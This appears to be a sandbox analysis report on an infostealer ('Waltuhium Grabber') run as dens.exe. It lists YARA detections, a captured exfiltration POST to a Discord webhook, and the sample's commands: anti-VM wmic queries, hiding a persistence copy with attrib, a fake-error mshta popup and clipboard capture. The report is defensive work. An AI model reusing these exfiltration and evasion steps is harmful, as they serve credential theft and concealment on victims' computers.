2024-11-12 23:39:04 UTC	345	OUT	Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 77 61 6c 74 75 68 69 75 6d 20 7c 20 74 2e 6d 65 2f 77 61 6c 74 75 68 69 75 6d 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 2a 2a 2a 57 61 6c 74 75 68 69 75 6d 20 47 72 61 62 62 65 72 2a 2a 2a 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 2a 2a 2a 47 72 61 62 62 65 64 20 46 69 6c 65 73 2a 2a 2a 22 2c 20 22 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 74 2e 6d 65 2f 77 61 6c 74 75 68 69 75 6d 22 2c 20 22 63 6f 6c 6f 72 22 3a 20 30 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 67 69 74 68 75 62 22 7d 2c 20 22 74 68 75 6d 62 6e 61 69 6c 22 3a 20 7b 22 75 72 6c 22 3a 20 22 77 65 62 68 6f 6f 6b 22 7d 2c 20 22 66 69 65 6c 64 73 22 3a 20 5b 7b 22 6e 61 6d 65 22 Data Ascii: {"username": "waltuhium \| t.me/waltuhium", "embeds": [{"title": "*Waltuhium Grabber", "description": "Grabbed Files*", "url": "https://t.me/waltuhium", "color": 0, "footer": {"text": "github"}, "thumbnail": {"url": "webhook"}, "fields": [{"name"
2024-11-12 23:39:04 UTC	1251	IN	HTTP/1.1 404 Not Found Date: Tue, 12 Nov 2024 23:39:04 GMT Content-Type: application/json Content-Length: 45 Connection: close Cache-Control: public, max-age=3600, s-maxage=3600 strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1731454746 x-ratelimit-reset-after: 1 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5ulokEnWGzVdH7hLe7hM6A2vOqkNcE0KE1y65WVc8ZvDwIjhqZcZpQbKPvQF8sheBErrWD8hb%2BJuFHZ01kC0lCIIzTD16gbov3KB0pVTsuTd6CvzTlRvcpVS1Jqp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Set-Cookie: __cfruid=61c4ad02f8e425b2213084f6302794d3bd4541dd-1731454744; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: _cfuvid=tkSDV4PM1uOJpB7hv3ajc8RXfDe2eEs5RpUxYl09GBk-1731454744647-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 8e1a5bf99b60d5db-DFW
2024-11-12 23:39:04 UTC	45	IN	Data Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d Data Ascii: {"message": "Unknown Webhook", "code": 10015}

Target ID:	0
Start time:	18:38:27
Start date:	12/11/2024
Path:	C:\Users\user\Desktop\dens.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\dens.exe"
Imagebase:	0x7ff62c0f0000
File size:	16'905'542 bytes
MD5 hash:	258322C37F4F5C632BD6C79520899603
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	18:38:30
Start date:	12/11/2024
Path:	C:\Users\user\Desktop\dens.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\dens.exe"
Imagebase:	0x7ff62c0f0000
File size:	16'905'542 bytes
MD5 hash:	258322C37F4F5C632BD6C79520899603
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_WaltuhiumGrabber, Description: Yara detected Waltuhium Grabber, Source: 00000001.00000002.2065840067.000002D9AC8B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_ExelaStealer, Description: Yara detected Exela Stealer, Source: 00000001.00000003.1775700959.000002D9ABFF2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericPythonStealer, Description: Yara detected Generic Python Stealer, Source: 00000001.00000003.1775700959.000002D9ABFF2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WaltuhiumGrabber, Description: Yara detected Waltuhium Grabber, Source: 00000001.00000003.1775700959.000002D9ABFF2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PythonStealer, Description: Yara detected Python Stealer, Source: 00000001.00000003.1775700959.000002D9ABFF2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1775700959.000002D9ABFF2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_ExelaStealer, Description: Yara detected Exela Stealer, Source: 00000001.00000003.2036571955.000002D9AC081000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericPythonStealer, Description: Yara detected Generic Python Stealer, Source: 00000001.00000003.2036571955.000002D9AC081000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WaltuhiumGrabber, Description: Yara detected Waltuhium Grabber, Source: 00000001.00000003.2036571955.000002D9AC081000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PythonStealer, Description: Yara detected Python Stealer, Source: 00000001.00000003.2036571955.000002D9AC081000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.2036571955.000002D9AC081000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WaltuhiumGrabber, Description: Yara detected Waltuhium Grabber, Source: 00000001.00000002.2066236732.000002D9AC968000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PythonStealer, Description: Yara detected Python Stealer, Source: 00000001.00000002.2066236732.000002D9AC968000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_ExelaStealer, Description: Yara detected Exela Stealer, Source: 00000001.00000003.2029099108.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericPythonStealer, Description: Yara detected Generic Python Stealer, Source: 00000001.00000003.2029099108.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WaltuhiumGrabber, Description: Yara detected Waltuhium Grabber, Source: 00000001.00000003.2029099108.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PythonStealer, Description: Yara detected Python Stealer, Source: 00000001.00000003.2029099108.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.2029099108.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_ExelaStealer, Description: Yara detected Exela Stealer, Source: 00000001.00000003.1776457067.000002D9AC037000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericPythonStealer, Description: Yara detected Generic Python Stealer, Source: 00000001.00000003.1776457067.000002D9AC037000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WaltuhiumGrabber, Description: Yara detected Waltuhium Grabber, Source: 00000001.00000003.1776457067.000002D9AC037000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PythonStealer, Description: Yara detected Python Stealer, Source: 00000001.00000003.1776457067.000002D9AC037000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1776457067.000002D9AC037000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_ExelaStealer, Description: Yara detected Exela Stealer, Source: 00000001.00000003.1781000596.000002D9AC026000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericPythonStealer, Description: Yara detected Generic Python Stealer, Source: 00000001.00000003.1781000596.000002D9AC026000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WaltuhiumGrabber, Description: Yara detected Waltuhium Grabber, Source: 00000001.00000003.1781000596.000002D9AC026000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PythonStealer, Description: Yara detected Python Stealer, Source: 00000001.00000003.1781000596.000002D9AC026000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1781000596.000002D9AC026000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_ExelaStealer, Description: Yara detected Exela Stealer, Source: 00000001.00000003.1781669123.000002D9AC027000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericPythonStealer, Description: Yara detected Generic Python Stealer, Source: 00000001.00000003.1781669123.000002D9AC027000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WaltuhiumGrabber, Description: Yara detected Waltuhium Grabber, Source: 00000001.00000003.1781669123.000002D9AC027000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PythonStealer, Description: Yara detected Python Stealer, Source: 00000001.00000003.1781669123.000002D9AC027000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1781669123.000002D9AC027000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_ExelaStealer, Description: Yara detected Exela Stealer, Source: 00000001.00000003.2036994849.000002D9AC03B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericPythonStealer, Description: Yara detected Generic Python Stealer, Source: 00000001.00000003.2036994849.000002D9AC03B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WaltuhiumGrabber, Description: Yara detected Waltuhium Grabber, Source: 00000001.00000003.2036994849.000002D9AC03B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PythonStealer, Description: Yara detected Python Stealer, Source: 00000001.00000003.2036994849.000002D9AC03B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.2036994849.000002D9AC03B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_ExelaStealer, Description: Yara detected Exela Stealer, Source: 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericPythonStealer, Description: Yara detected Generic Python Stealer, Source: 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WaltuhiumGrabber, Description: Yara detected Waltuhium Grabber, Source: 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PythonStealer, Description: Yara detected Python Stealer, Source: 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WaltuhiumGrabber, Description: Yara detected Waltuhium Grabber, Source: 00000001.00000002.2066553783.000002D9ACA40000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PythonStealer, Description: Yara detected Python Stealer, Source: 00000001.00000002.2066553783.000002D9ACA40000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_ExelaStealer, Description: Yara detected Exela Stealer, Source: 00000001.00000003.2029534944.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericPythonStealer, Description: Yara detected Generic Python Stealer, Source: 00000001.00000003.2029534944.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WaltuhiumGrabber, Description: Yara detected Waltuhium Grabber, Source: 00000001.00000003.2029534944.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PythonStealer, Description: Yara detected Python Stealer, Source: 00000001.00000003.2029534944.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.2029534944.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	18:38:31
Start date:	12/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
Imagebase:	0x7ff799bb0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	18:38:31
Start date:	12/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic computersystem get Manufacturer"
Imagebase:	0x7ff799bb0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	18:38:31
Start date:	12/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	18:38:31
Start date:	12/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "gdb --version"
Imagebase:	0x7ff799bb0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	18:38:31
Start date:	12/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	18:38:31
Start date:	12/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist"
Imagebase:	0x7ff799bb0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	18:38:31
Start date:	12/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x800000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	18:38:31
Start date:	12/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	18:38:32
Start date:	12/11/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist
Imagebase:	0x7ff6187b0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	18:38:32
Start date:	12/11/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic computersystem get Manufacturer
Imagebase:	0x7ff6e2c90000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	18:38:32
Start date:	12/11/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic path win32_VideoController get name
Imagebase:	0x7ff6e2c90000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	18:38:33
Start date:	12/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic path Win32_ComputerSystem get Manufacturer"
Imagebase:	0x7ff799bb0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	18:38:33
Start date:	12/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	18:38:33
Start date:	12/11/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic path Win32_ComputerSystem get Manufacturer
Imagebase:	0x7ff6e2c90000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	18:38:34
Start date:	12/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Imagebase:	0x7ff799bb0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	18:38:34
Start date:	12/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist"
Imagebase:	0x7ff799bb0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 4504, Parent PID: 3624

General

Target ID:	18
Start time:	18:38:34
Start date:	12/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	18:38:34
Start date:	12/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	18:38:34
Start date:	12/11/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist
Imagebase:	0x7ff6187b0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	18:38:34
Start date:	12/11/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic csproduct get uuid
Imagebase:	0x7ff6e2c90000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	18:38:36
Start date:	12/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\WaltuhiumUpdateService\Waltuhium.exe""
Imagebase:	0x7ff799bb0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	18:38:36
Start date:	12/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	18:38:36
Start date:	12/11/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +h +s "C:\Users\user\AppData\Local\WaltuhiumUpdateService\Waltuhium.exe"
Imagebase:	0x7ff60d400000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	18:38:36
Start date:	12/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()""
Imagebase:	0x7ff799bb0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	18:38:36
Start date:	12/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist"
Imagebase:	0x7ff799bb0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 1136, Parent PID: 6560

General

Target ID:	27
Start time:	18:38:36
Start date:	12/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	18:38:36
Start date:	12/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	18:38:36
Start date:	12/11/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist
Imagebase:	0x7ff6187b0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	18:38:36
Start date:	12/11/2024
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()"
Imagebase:	0x7ff7da520000
File size:	14'848 bytes
MD5 hash:	0B4340ED812DC82CE636C00FA5C9BEF2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	18:38:38
Start date:	12/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
Imagebase:	0x7ff799bb0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	18:38:38
Start date:	12/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
Imagebase:	0x7ff799bb0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 6848, Parent PID: 6544

General

Target ID:	33
Start time:	18:38:38
Start date:	12/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	18:38:38
Start date:	12/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff799bb0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	18:38:38
Start date:	12/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	18:38:38
Start date:	12/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"
Imagebase:	0x7ff799bb0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	18:38:38
Start date:	12/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f330000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
